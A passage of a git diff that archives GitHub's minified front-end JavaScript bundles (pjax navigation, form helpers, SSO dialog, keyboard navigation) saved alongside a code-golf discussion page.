")),f.dialogClass&&E.classList.add(...f.dialogClass.split(" ")),f.label?E.setAttribute("aria-label",f.label):f.labelledBy&&E.setAttribute("aria-labelledby",f.labelledBy),document.body.append(r);const m=await f.content;return g.remove(),E.prepend(m),d.addEventListener("toggle",()=>{d.hasAttribute("open")||((0,h.f)(E,"dialog:remove"),d.remove())}),E}s(p,"dialog")},29719:(M,w,c)=>{c.d(w,{D:()=>l,a:()=>f});var h=c(17463),p=c(12981);async function f(r,d,E){const g=new Request(d,E);g.headers.append("X-Requested-With","XMLHttpRequest");const m=await self.fetch(g);if(m.status<200||m.status>=300)throw new Error(`HTTP ${m.status}${m.statusText||""}`);return(0,h.t)((0,h.P)(r),m),(0,p.r)(r,await m.text())}s(f,"fetchSafeDocumentFragment");function l(r,d,E=1e3){return s(async function g(m){const v=new Request(r,d);v.headers.append("X-Requested-With","XMLHttpRequest");const _=await self.fetch(v);if(_.status<200||_.status>=300)throw new Error(`HTTP ${_.status}${_.statusText||""}`);if(_.status===200)return _;if(_.status===202)return await new Promise(L=>setTimeout(L,m)),g(m*1.5);throw new Error(`Unexpected ${_.status} response status from poll endpoint`)},"poll")(E)}s(l,"fetchPoll")},56238:(M,w,c)=>{c.d(w,{Bt:()=>r,DN:()=>g,KL:()=>_,Se:()=>E,qC:()=>L,sw:()=>m});var h=c(59753),p=c(2061),f=c(7679);(0,h.on)("click",".js-remote-submit-button",async function(i){const n=i.currentTarget.form;i.preventDefault();let b;try{b=await fetch(n.action,{method:n.method,body:new FormData(n),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}b&&!b.ok&&(0,f.v)()});function l(i,a,n){return i.dispatchEvent(new CustomEvent(a,{bubbles:!0,cancelable:n}))}s(l,"fire");function r(i,a){a&&(d(i,a),(0,p.j)(a)),l(i,"submit",!0)&&i.submit()}s(r,"requestSubmit");function d(i,a){if(!(i instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(a instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(a.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!i||i!==a.form)throw new Error("The specified element is not owned by the form element.")}s(d,"checkButtonValidity");function E(i,a){if(typeof a=="boolean")if(i instanceof HTMLInputElement)i.checked=a;else throw new TypeError("only checkboxes can be set to boolean value");else{if(i.type==="checkbox")throw new TypeError("checkbox can't be set to string value");i.value=a}l(i,"change",!1)}s(E,"changeValue");function g(i,a){for(const n in a){const b=a[n],S=i.elements.namedItem(n);(S instanceof HTMLInputElement||S instanceof HTMLTextAreaElement)&&(S.value=b)}}s(g,"fillFormValues");function m(i){if(!(i instanceof HTMLElement))return!1;const a=i.nodeName.toLowerCase(),n=(i.getAttribute("type")||"").toLowerCase();return a==="select"||a==="textarea"||a==="input"&&n!=="submit"&&n!=="reset"||i.isContentEditable}s(m,"isFormField");function v(i){return new URLSearchParams(i)}s(v,"searchParamsFromFormData");function _(i,a){const n=new URLSearchParams(i.search),b=v(a);for(const[S,R]of b)n.append(S,R);return n.toString()}s(_,"combineGetFormSearchParams");function L(i){return v(new FormData(i)).toString()}s(L,"serialize")},55741:(M,w,c)=>{c.d(w,{M:()=>f,T:()=>l});var h=c(14840),p=c(56238);function f(n,b=!1){return l(n)||v(n,b)||i(n)||a(n)}s(f,"hasInteractions");function l(n){for(const b of n.querySelectorAll("input, textarea"))if((b instanceof HTMLInputElement||b instanceof HTMLTextAreaElement)&&r(b))return!0;return!1}s(l,"hasDirtyFields");function r(n){if(n instanceof HTMLInputElement&&(n.type==="checkbox"||n.type==="radio")){if(n.checked!==n.defaultChecked)return!0}else if(n.value!==n.defaultValue)return!0;return!1}s(r,"formFieldValueChanged");let d;async function E(n,b){d=n;try{await b()}finally{d=null}}s(E,"withActiveElement");function g(n){return d instanceof Element?d:n&&n.ownerDocument&&n.ownerDocument.activeElement?n.ownerDocument.activeElement:null}s(g,"getActiveElement");let m;document.addEventListener("mouseup",function(n){m=n.target});function v(n,b){const S=g(n);return S===null||b&&S===n?!1:S===n&&(0,p.sw)(S)||n.contains(S)&&!L(S)?!0:m instanceof Element&&n.contains(m)&&!!m.closest("details[open] > summary")}s(v,"hasFocus");const _="a[href], button";function L(n){var b;if(n instanceof h.Z)return!0;const S=n instanceof HTMLAnchorElement||n instanceof HTMLButtonElement,R=(b=n.parentElement)==null?void 0:b.classList.contains("task-list-item");if(S&&R)return!0;if(!(m instanceof Element))return!1;const j=n.closest(_);if(!j)return!1;const H=m.closest(_);return j===H}s(L,"activeElementIsSafe");function i(n){return n.matches(":active:enabled")}s(i,"hasMousedown");function a(n){return!!(n.closest(".is-dirty")||n.querySelector(".is-dirty"))}s(a,"markedAsDirty")},17463:(M,w,c)=>{c.d(w,{P:()=>h,t:()=>f});function h(l){const r=[...l.querySelectorAll("meta[name=html-safe-nonce]")].map(d=>d.content);if(r.length<1)throw new Error("could not find html-safe-nonce on document");return r}s(h,"getDocumentHtmlSafeNonces");class p extends Error{constructor(r,d){super(`${r} for HTTP ${d.status}`);this.response=d}}s(p,"ResponseError");function f(l,r,d=!1){const E=r.headers.get("content-type")||"";if(!d&&!E.startsWith("text/html"))throw new p(`expected response with text/html, but was ${E}`,r);if(d&&!(E.startsWith("text/html")||E.startsWith("application/json")))throw new p(`expected response with text/html or application/json, but was ${E}`,r);const g=r.headers.get("x-html-safe");if(g){if(!l.includes(g))throw new p("response X-HTML-Safe nonce did not match",r)}else throw new p("missing X-HTML-Safe nonce",r)}s(f,"verifyResponseHtmlSafeNonce")},45075:(M,w,c)=>{c.d(w,{ZG:()=>r,q6:()=>E,w4:()=>d});var h=c(8439);let p=!1;const f=new h.Z;function l(g){const m=g.target;if(m instanceof HTMLElement&&m.nodeType!==Node.DOCUMENT_NODE)for(const v of f.matches(m))v.data.call(null,m)}s(l,"handleFocus");function r(g,m){p||(p=!0,document.addEventListener("focus",l,!0)),f.add(g,m),document.activeElement instanceof HTMLElement&&document.activeElement.matches(g)&&m(document.activeElement)}s(r,"onFocus");function d(g,m,v){function _(L){const i=L.currentTarget;!i||(i.removeEventListener(g,v),i.removeEventListener("blur",_))}s(_,"blurHandler"),r(m,function(L){L.addEventListener(g,v),L.addEventListener("blur",_)})}s(d,"onKey");function E(g,m){function v(_){const{currentTarget:L}=_;!L||(L.removeEventListener("input",m),L.removeEventListener("blur",v))}s(v,"blurHandler"),r(g,function(_){_.addEventListener("input",m),_.addEventListener("blur",v)})}s(E,"onInput")},2061:(M,w,c)=>{c.d(w,{j:()=>h,u:()=>p});function h(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let r=p(l);if(f.name){const d=f.matches("input[type=submit]")?"Submit":"",E=f.value||d;r||(r=document.createElement("input"),r.type="hidden",r.classList.add("is-submit-button-value"),l.prepend(r)),r.name=f.name,r.value=E}else r&&r.remove()}s(h,"persistSubmitButtonValue");function p(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}s(p,"findPersistedSubmitButtonValue")},25833:(M,w,c)=>{c.d(w,{Z:()=>L});var h=c(12737),p=c(29719),f=c(64463);function l(i){return new Promise(a=>{i.addEventListener("dialog:remove",a,{once:!0})})}s(l,"waitForDialogClose");function r(i){const a=document.querySelector(".sso-modal");!a||(a.classList.remove("success","error"),i?a.classList.add("success"):a.classList.add("error"))}s(r,"setModalStatus");function d(i){const a=document.querySelector("meta[name=sso-expires-around]");a&&a.setAttribute("content",i)}s(d,"updateExpiresAroundTag");async function E(){const i=document.querySelector("link[rel=sso-modal]"),a=await(0,h.W)({content:(0,p.a)(document,i.href),dialogClass:"sso-modal"});let n=null;const b=window.external;if(b.ssoComplete=function(S){S.error?(n=!1,r(n)):(n=!0,r(n),d(S.expiresAround),window.focus()),b.ssoComplete=null},await l(a),!n)throw new Error("sso prompt canceled")}s(E,"ssoPrompt"),(0,f.N7)(".js-sso-modal-complete",function(i){if(window.opener&&window.opener.external.ssoComplete){const a=i.getAttribute("data-error"),n=i.getAttribute("data-expires-around");window.opener.external.ssoComplete({error:a,expiresAround:n}),window.close()}else{const a=i.getAttribute("data-fallback-url");a&&(window.location.href=a)}});function g(i){if(!(i instanceof HTMLMetaElement))return!0;const a=parseInt(i.content);return new Date().getTime()/1e3>a}s(g,"expiresSoon");async function m(){const i=document.querySelector("link[rel=sso-session]"),a=document.querySelector("meta[name=sso-expires-around]");if(!(i instanceof HTMLLinkElement)||!g(a))return!0;const n=i.href;return await(await fetch(n,{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json()}s(m,"fetchSsoStatus");let v=null;function _(){v=null}s(_,"clearActiveSsoPrompt");async function L(){await m()||(v||(v=E().then(_).catch(_)),await v)}s(L,"__WEBPACK_DEFAULT_EXPORT__")},6741:(M,w,c)=>{c.d(w,{RB:()=>p,qC:()=>f,w0:()=>h});class h{constructor(r){this.closed=!1,this.unsubscribe=()=>{r(),this.closed=!0}}}s(h,"Subscription");function p(l,r,d,E={capture:!1}){return l.addEventListener(r,d,E),new h(()=>{l.removeEventListener(r,d,E)})}s(p,"fromEvent");function f(...l){return new h(()=>{for(const r of l)r.unsubscribe()})}s(f,"compose")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef-e439d69777c7.js.map \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js new file mode 100644 index 0000000..f4bf598 --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var me=Object.defineProperty;var t=(C,v)=>me(C,"name",{value:v,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_pjax_ts"],{41307:(C,v,d)=>{d.d(v,{ZP:()=>M,y0:()=>le});var f=d(6170),c=d(54293),l=d(61161),m=d(49815),p=d(12981),E=d(45922);const u=20;let a,h=null;function s(r,o,e){return r.dispatchEvent(new CustomEvent(o,{bubbles:!0,cancelable:!0,detail:e}))}t(s,"dispatch");async function M(r){var o,e,n,y;const i={push:!0,replace:!1,type:"GET",dataType:"html",scrollTo:0,...r};i.requestUrl=i.url;const g=I(i.url).hash,S=i.container,T=N(S);a||(a={id:O(),url:window.location.href,title:document.title,container:T,fragment:i.fragment},(0,f.lO)(a,a.title,a.url)),h==null||h.abort();const{signal:w}=h=new AbortController;i.push===!0&&i.replace!==!0&&(ae(a.id,j(S)),(0,f.qA)(null,"",i.requestUrl)),s(S,"pjax:start",{url:i.url}),s(S,"pjax:send");let x;const b=ce();try{x=await fetch(i.url,{signal:w,method:i.type,body:i.data,headers:{Accept:"text/html","X-PJAX":"true","X-PJAX-Container":T,"X-Requested-With":"XMLHttpRequest","X-PJAX-VERSION":(o=b.pjax)!=null?o:"","X-PJAX-CSP-VERSION":(e=b.csp)!=null?e:"","X-PJAX-CSS-VERSION":(n=b.css)!=null?n:"","X-PJAX-JS-VERSION":(y=b.js)!=null?y:""}})}catch{x=void 0}if(!x||!x.ok){const D=s(S,"pjax:error");if(i.type==="GET"&&D){const Q=x&&x.headers.get("X-PJAX-URL"),fe=Q?I(Q).href:i.requestUrl;(0,E.b)({pjaxFailureReason:"response_error",requestUrl:i.requestUrl}),U(fe)}s(S,"pjax:complete"),s(S,"pjax:end");return}const K=a,ee=se(),te=x.headers.get("X-PJAX-Version"),ue=await x.text(),A=Y(ue,x,i),{contents:$}=A,ne=I(A.url);if(g&&(ne.hash=g,A.url=ne.href),ee&&te&&ee!==te){s(S,"pjax:hardLoad",{reason:"version_mismatch"}),(0,E.b)({pjaxFailureReason:"version_mismatch",requestUrl:i.requestUrl}),U(A.url);return}if(!$){s(S,"pjax:hardLoad",{reason:"missing_response_body"}),(0,E.b)({pjaxFailureReason:"missing_response_body",requestUrl:i.requestUrl}),U(A.url);return}a={id:i.id!=null?i.id:O(),url:A.url,title:A.title,container:T,fragment:i.fragment},(i.push===!0||i.replace===!0)&&(0,f.lO)(a,A.title,A.url);const Z=document.activeElement,de=i.container!=null&&i.container.contains(Z);if(Z instanceof HTMLElement&&de)try{Z.blur()}catch{}A.title&&(document.title=A.title),s(S,"pjax:beforeReplace",{contents:$,state:a,previousState:K}),R(S,$),(0,c.b)(),(0,c.o)();const z=S.querySelector("input[autofocus], textarea[autofocus]");z&&document.activeElement!==z&&z.focus(),A.scripts&&oe(A.scripts),A.stylesheets&&re(A.stylesheets);let G=i.scrollTo;if(g){const D=(0,l.Kt)(document,g);D&&(G=D.getBoundingClientRect().top+window.pageYOffset)}typeof G=="number"&&window.scrollTo(window.pageXOffset,G),s(S,"pjax:success"),s(S,"pjax:complete"),s(S,"pjax:end")}t(M,"pjaxRequest");function U(r){a&&(0,f.lO)(null,"",a.url),window.location.replace(r)}t(U,"locationReplace");let q=!0;const k=window.location.href,_=window.history.state;_&&_.container&&(a=_),"state"in window.history&&(q=!1);function P(r){if((0,m.c)("TURBO"))return;q||h==null||h.abort();const o=a,e=r.state;let n=null;if(e&&e.container){if(q&&k===e.url)return;if(o){if(o.id===e.id)return;n=o.id]*>([\s\S.]*)<\/head>/i),x=r.match(/]*>([\s\S.]*)<\/body>/i);L=w?Array.from((0,p.r)(document,w[0]).childNodes):[],g=x?Array.from((0,p.r)(document,x[0]).childNodes):[]}else L=g=Array.from((0,p.r)(document,r).childNodes);if(g.length===0)return n;const S=X(L,"title",HTMLTitleElement);n.title=S.length>0&&S[S.length-1].textContent||"";let T;if(e.fragment){if(e.fragment==="body")T=g;else{const w=X(g,e.fragment,Element);T=w.length>0?[w[0]]:[]}if(T.length&&(e.fragment==="body"?n.contents=T:n.contents=T.flatMap(w=>Array.from(w.childNodes)),!n.title)){const w=T[0];w instanceof Element&&(n.title=w.getAttribute("title")||w.getAttribute("data-title")||"")}}else y||(n.contents=g);if(n.contents){n.contents=n.contents.filter(function(b){return b instanceof Element?!b.matches("title"):!0});for(const b of n.contents)if(b instanceof Element)for(const K of b.querySelectorAll("title"))K.remove();const w=X(n.contents,"script[src]",HTMLScriptElement);for(const b of w)b.remove();n.scripts=w,n.contents=n.contents.filter(b=>w.indexOf(b)===-1);const x=X(n.contents,"link[rel=stylesheet]",HTMLLinkElement);for(const b of x)b.remove();n.stylesheets=x,n.contents=n.contents.filter(b=>!x.includes(b))}return n.title&&(n.title=n.title.trim()),n}t(Y,"extractContainer");function oe(r){const o=document.querySelectorAll("script[src]");for(const e of r){const{src:n}=e;if(Array.from(o).some(g=>g.src===n))continue;const y=document.createElement("script"),i=e.getAttribute("type");i&&(y.type=i);const L=e.getAttribute("integrity");L&&(y.integrity=L,y.crossOrigin="anonymous"),y.src=n,document.head&&document.head.appendChild(y)}}t(oe,"executeScriptTags");function re(r){const o=document.querySelectorAll("link[rel=stylesheet]");for(const e of r)Array.from(o).some(n=>n.href===e.href)||document.head&&document.head.appendChild(e)}t(re,"injectStyleTags");const B={},F=[],J=[];function ae(r,o){B[r]=o,J.push(r),W(F,0),W(J,u)}t(ae,"cachePush");function ie(r,o,e){let n,y;B[o]=e,r==="forward"?(n=J,y=F):(n=F,y=J),n.push(o);const i=y.pop();i&&delete B[i],W(n,u)}t(ie,"cachePop");function W(r,o){for(;r.length>o;){const e=r.shift();if(e==null)return;delete B[e]}}t(W,"trimCacheStack");function se(){for(const r of document.getElementsByTagName("meta")){const o=r.getAttribute("http-equiv");if(o&&o.toUpperCase()==="X-PJAX-VERSION")return r.content}return null}t(se,"findVersion");function H(r){var o;const e=document.querySelector(`meta[http-equiv="${r}"]`);return(o=e==null?void 0:e.content)!=null?o:null}t(H,"pjaxMeta");function ce(){return{pjax:H("X-PJAX-VERSION"),csp:H("X-PJAX-CSP-VERSION"),css:H("X-PJAX-CSS-VERSION"),js:H("X-PJAX-JS-VERSION")}}t(ce,"findAllVersions");function le(){return a}t(le,"getState"),window.addEventListener("popstate",P)},54293:(C,v,d)=>{d.d(v,{b:()=>m,o:()=>p});var f=d(7739);const c={},l={};(async()=>(await f.x,c[document.location.pathname]=Array.from(document.querySelectorAll("head [data-pjax-transient]")),l[document.location.pathname]=Array.from(document.querySelectorAll("[data-pjax-replace]"))))(),document.addEventListener("pjax:beforeReplace",function(E){const u=E.detail.contents||[],a=E.target;for(let h=0;h{d.d(v,{C:()=>c,x:()=>f});const f=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),c=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},49815:(C,v,d)=>{d.d(v,{$:()=>E,c:()=>m});var f=d(15205);const c=(0,f.Z)(l);function l(){var u,a;return(((a=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:a.content)||"").split(",")}t(l,"enabledFeatures");const m=(0,f.Z)(p);function p(u){return c().indexOf(u)!==-1}t(p,"isEnabled");const E={isFeatureEnabled:m}},61161:(C,v,d)=>{d.d(v,{$z:()=>l,Kt:()=>f,Q:()=>c});function f(m,p=location.hash){return c(m,l(p))}t(f,"findFragmentTarget");function c(m,p){return p===""?null:m.getElementById(p)||m.getElementsByName(p)[0]}t(c,"findElementByFragmentName");function l(m){try{return decodeURIComponent(m.slice(1))}catch{return""}}t(l,"decodeFragmentValue")},6170:(C,v,d)=>{d.d(v,{Mw:()=>q,_C:()=>U,lO:()=>M,qA:()=>s,y0:()=>m});const f=[];let c=0,l;function m(){return l}t(m,"getState");function p(){try{return Math.min(Math.max(0,history.length)||0,9007199254740991)}catch{return 0}}t(p,"safeGetHistory");function E(){const _={_id:new Date().getTime(),...history.state};return a(_),_}t(E,"initializeState");function u(){return p()-1+c}t(u,"position");function a(_){l=_;const P=location.href;f[u()]={url:P,state:l},f.length=p(),window.dispatchEvent(new CustomEvent("statechange",{bubbles:!1,cancelable:!1}))}t(a,"setState");function h(){return new Date().getTime()}t(h,"uniqueId");function s(_,P,O){c=0;const j={_id:h(),..._};history.pushState(j,P,O),a(j)}t(s,"pushState");function M(_,P,O){const j={...m(),..._};history.replaceState(j,P,O),a(j)}t(M,"replaceState");function U(){const _=f[u()-1];if(_)return _.url}t(U,"getBackURL");function q(){const _=f[u()+1];if(_)return _.url}t(q,"getForwardURL"),l=E(),window.addEventListener("popstate",t(function(P){var O,j,I,N,X;const R=P.state;if(!(!R||!R._id&&!((O=R.turbo)==null?void 0:O.restorationIdentifier))){if((j=R.turbo)==null?void 0:j.restorationIdentifier){const V=R.turbo.restorationIdentifier;((X=(N=(I=f[u()-1])==null?void 0:I.state)==null?void 0:N.turbo)==null?void 0:X.restorationIdentifier)===V?c--:c++}else R._id<(m()._id||NaN)?c--:c++;a(R)}},"onPopstate"),!0);let k;window.addEventListener("turbo:visit",_=>{_ instanceof CustomEvent&&(k=_.detail.action)}),window.addEventListener("turbo:load",()=>{k!=="restore"&&(c=0,M(history.state,"",""))}),window.addEventListener("hashchange",t(function(){if(p()>f.length){const P={_id:h()};history.replaceState(P,"",location.href),a(P)}},"onHashchange"),!0)},12981:(C,v,d)=>{d.d(v,{r:()=>f});function f(c,l){const m=c.createElement("template");return m.innerHTML=l,c.importNode(m.content,!0)}t(f,"parseHTML")},97474:(C,v,d)=>{d.d(v,{Z:()=>f});function f(c){var l,m;const p=(m=(l=c.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:m.content;if(!p)return!1;const E=p.replace(/\.$/,"").split(".").slice(-2).join("."),u=c.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return E!==u}t(f,"detectProxySite")},45922:(C,v,d)=>{d.d(v,{b:()=>m});var f=d(97474),c=d(7739);let l=[];function m(h,s=!1){h.timestamp===void 0&&(h.timestamp=new Date().getTime()),h.loggedIn=a(),l.push(h),s?u():E()}t(m,"sendStats");let p=null;async function E(){await c.C,p==null&&(p=window.requestIdleCallback(u))}t(E,"scheduleSendStats");function u(){var h,s;if(p=null,!l.length||(0,f.Z)(document))return;const M=(s=(h=document.head)==null?void 0:h.querySelector('meta[name="browser-stats-url"]'))==null?void 0:s.content;if(!M)return;const U=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(M,U)}catch{}l=[]}t(u,"flushStats");function a(){var h,s;return!!((s=(h=document.head)==null?void 0:h.querySelector('meta[name="user-login"]'))==null?void 0:s.content)}t(a,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_pjax_ts-3331a0ecddca.js.map \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js new file mode 100644 index 0000000..ce79225 --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var $=Object.defineProperty;var n=(j,y)=>$(j,"name",{value:y,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],{7679:(j,y,h)=>{h.d(y,{H:()=>c,v:()=>p});var E=h(59753);function p(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!1)}n(p,"showGlobalError");function c(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!0)}n(c,"hideGlobalError"),(0,E.on)("deprecatedAjaxError","[data-remote]",function(s){const f=s.detail,{error:L,text:m}=f;s.currentTarget===s.target&&(L==="abort"||L==="canceled"||(/{h.d(y,{Ty:()=>p,YE:()=>c,Zf:()=>s});var E=h(11793);const p=n(()=>{const f=document.querySelector("meta[name=keyboard-shortcuts-preference]");return f?f.content==="all":!0},"areCharacterKeyShortcutsEnabled"),c=n(f=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(f)||f.includes("Alt")&&f.includes("Shift"),"isNonCharacterKeyShortcut"),s=n(f=>{const L=(0,E.EL)(f);return p()?!0:c(L)},"isShortcutAllowed")},75371:(j,y,h)=>{h.d(y,{VZ:()=>p,_C:()=>c,cv:()=>E,oE:()=>s});function E(m){const a=m.getBoundingClientRect();return{top:a.top+window.pageYOffset,left:a.left+window.pageXOffset}}n(E,"offset");function p(m){let a=m;const l=a.ownerDocument;if(!l||!a.offsetParent)return;const g=l.defaultView.HTMLElement;if(a!==l.body){for(;a!==l.body;){if(a.parentElement instanceof g)a=a.parentElement;else return;const{position:C,overflowY:T,overflowX:r}=getComputedStyle(a);if(C==="fixed"||T==="auto"||r==="auto"||T==="scroll"||r==="scroll")break}return a instanceof Document?null:a}}n(p,"overflowParent");function c(m,a){let l=a;const g=m.ownerDocument;if(!g)return;const C=g.documentElement;if(!C||m===C)return;const T=s(m,l);if(!T)return;l=T._container;const r=l===g.documentElement&&g.defaultView?{top:g.defaultView.pageYOffset,left:g.defaultView.pageXOffset}:{top:l.scrollTop,left:l.scrollLeft},d=T.top-r.top,v=T.left-r.left,w=l.clientHeight,k=l.clientWidth,H=w-(d+m.offsetHeight),P=k-(v+m.offsetWidth);return{top:d,left:v,bottom:H,right:P,height:w,width:k}}n(c,"overflowOffset");function s(m,a){let l=m;const g=l.ownerDocument;if(!g)return;const C=g.documentElement;if(!C)return;const T=g.defaultView.HTMLElement;let r=0,d=0;const v=l.offsetHeight,w=l.offsetWidth;for(;!(l===g.body||l===a);)if(r+=l.offsetTop||0,d+=l.offsetLeft||0,l.offsetParent instanceof T)l=l.offsetParent;else return;let k,H,P;if(!a||a===g||a===g.defaultView||a===g.documentElement||a===g.body)P=C,k=f(g.body,C),H=L(g.body,C);else if(a instanceof T)P=a,k=a.scrollHeight,H=a.scrollWidth;else return;const x=k-(r+v),S=H-(d+w);return{top:r,left:d,bottom:x,right:S,_container:P}}n(s,"positionedOffset");function f(m,a){return Math.max(m.scrollHeight,a.scrollHeight,m.offsetHeight,a.offsetHeight,a.clientHeight)}n(f,"getDocumentHeight");function L(m,a){return Math.max(m.scrollWidth,a.scrollWidth,m.offsetWidth,a.offsetWidth,a.clientWidth)}n(L,"getDocumentWidth")},56238:(j,y,h)=>{h.d(y,{Bt:()=>f,DN:()=>a,KL:()=>C,Se:()=>m,qC:()=>T,sw:()=>l});var E=h(59753),p=h(2061),c=h(7679);(0,E.on)("click",".js-remote-submit-button",async function(r){const v=r.currentTarget.form;r.preventDefault();let w;try{w=await fetch(v.action,{method:v.method,body:new FormData(v),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}w&&!w.ok&&(0,c.v)()});function s(r,d,v){return r.dispatchEvent(new CustomEvent(d,{bubbles:!0,cancelable:v}))}n(s,"fire");function f(r,d){d&&(L(r,d),(0,p.j)(d)),s(r,"submit",!0)&&r.submit()}n(f,"requestSubmit");function L(r,d){if(!(r instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(d instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(d.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!r||r!==d.form)throw new Error("The specified element is not owned by the form element.")}n(L,"checkButtonValidity");function m(r,d){if(typeof d=="boolean")if(r instanceof HTMLInputElement)r.checked=d;else throw new TypeError("only checkboxes can be set to boolean value");else{if(r.type==="checkbox")throw new TypeError("checkbox can't be set to string value");r.value=d}s(r,"change",!1)}n(m,"changeValue");function a(r,d){for(const v in d){const w=d[v],k=r.elements.namedItem(v);(k instanceof HTMLInputElement||k instanceof HTMLTextAreaElement)&&(k.value=w)}}n(a,"fillFormValues");function l(r){if(!(r instanceof HTMLElement))return!1;const d=r.nodeName.toLowerCase(),v=(r.getAttribute("type")||"").toLowerCase();return d==="select"||d==="textarea"||d==="input"&&v!=="submit"&&v!=="reset"||r.isContentEditable}n(l,"isFormField");function g(r){return new URLSearchParams(r)}n(g,"searchParamsFromFormData");function C(r,d){const v=new URLSearchParams(r.search),w=g(d);for(const[k,H]of w)v.append(k,H);return v.toString()}n(C,"combineGetFormSearchParams");function T(r){return g(new FormData(r)).toString()}n(T,"serialize")},32750:(j,y,h)=>{h.d(y,{QZ:()=>P,ZH:()=>V,jK:()=>x,T_:()=>F,Sw:()=>X,VF:()=>U,VH:()=>Y});var E=h(6741),p=h(59753),c=h(75371),s=h(11793),f=h(5287),L=h(64463);function m(e,t){let i=e;const o=e.ownerDocument;(i===o||i===o.defaultView||i===o.documentElement||i===o.body)&&(i=o);const u=o.defaultView.Document;if(i instanceof u){const M=t.top!=null?t.top:o.defaultView.pageYOffset,B=t.left!=null?t.left:o.defaultView.pageXOffset;o.defaultView.scrollTo(B,M);return}const b=o.defaultView.HTMLElement;if(!(i instanceof b))throw new Error("invariant");i.scrollTop=t.top,t.left!=null&&(i.scrollLeft=t.left)}n(m,"scrollTo");var a=h(5878);const l=navigator.userAgent.match(/Macintosh/),g=l?"metaKey":"ctrlKey",C=l?"Meta":"Control";let T=!1,r={x:0,y:0};(0,L.N7)(".js-navigation-container:not(.js-navigation-container-no-mouse)",{subscribe:e=>(0,E.qC)((0,E.RB)(e,"mouseover",d),(0,E.RB)(e,"mouseover",v))});function d(e){e instanceof MouseEvent&&((r.x!==e.clientX||r.y!==e.clientY)&&(T=!1),r={x:e.clientX,y:e.clientY})}n(d,"onContainerMouseMove");function v(e){if(T)return;const t=e.currentTarget,{target:i}=e;if(!(i instanceof Element)||!(t instanceof HTMLElement)||!t.closest(".js-active-navigation-container"))return;const o=i.closest(".js-navigation-item");o&&_(o,t)}n(v,"onContainerMouseOver");let w=0;(0,L.N7)(".js-active-navigation-container",{add(){w++,w===1&&document.addEventListener("keydown",k)},remove(){w--,w===0&&document.removeEventListener("keydown",k)}});function k(e){if(e.target!==document.body&&e.target instanceof HTMLElement&&!e.target.classList.contains("js-navigation-enable"))return;T=!0;const t=I();let i=!1;if(t){const o=t.querySelector(".js-navigation-item.navigation-focus")||t;i=(0,p.f)(o,"navigation:keydown",{hotkey:(0,s.EL)(e),originalEvent:e,originalTarget:e.target})}i||e.preventDefault()}n(k,"fireCustomKeydown"),(0,p.on)("navigation:keydown",".js-active-navigation-container",function(e){const t=e.currentTarget,i=e.detail.originalTarget.matches("input, textarea"),o=e.target;if(!!(0,f.Zf)(e.detail.originalEvent)){if(o.classList.contains("js-navigation-item"))if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":A(o,t);break;case"ArrowDown":O(o,t);break;case"Enter":case`${C}+Enter`:R(o,e.detail.originalEvent[g]);break}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t);break;case"Alt+v":G(o,t);break;case"Control+v":N(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"J":O(o,t);break;case"k":case"K":A(o,t);break;case"o":case"Enter":case`${C}+Enter`:R(o,e.detail[g]);break}}else{const 